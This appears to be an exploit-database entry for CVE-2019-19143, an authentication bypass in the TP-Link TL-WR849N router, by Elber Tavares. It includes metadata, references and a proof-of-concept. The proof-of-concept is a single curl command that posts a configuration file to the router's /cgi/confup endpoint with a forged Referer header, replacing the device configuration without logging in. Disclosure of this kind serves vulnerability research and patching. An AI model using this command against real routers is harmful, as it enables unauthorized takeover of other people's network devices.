20 lines
No EOL
653 B
Text
20 lines
No EOL
653 B
Text
# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
|
|
# Date: 2019-11-20
|
|
# Exploit Author: Elber Tavares
|
|
# Vendor Homepage: https://www.tp-link.com/
|
|
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
|
|
# Version: TL-WR849N 0.9.1 4.16
|
|
# Tested on: linux, windows
|
|
# CVE : CVE-CVE-2019-19143
|
|
|
|
Uploading new firmware without access to the panel
|
|
|
|
REFS:
|
|
https://github.com/ElberTavares/routers-exploit/tp-link
|
|
https://fireshellsecurity.team/hack-n-routers/
|
|
|
|
|
|
Poc:
|
|
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
|
|
http://TARGET/mainFrame.htm" -F data=@conf.bin
|
|
http://TARGET/cgi/confup |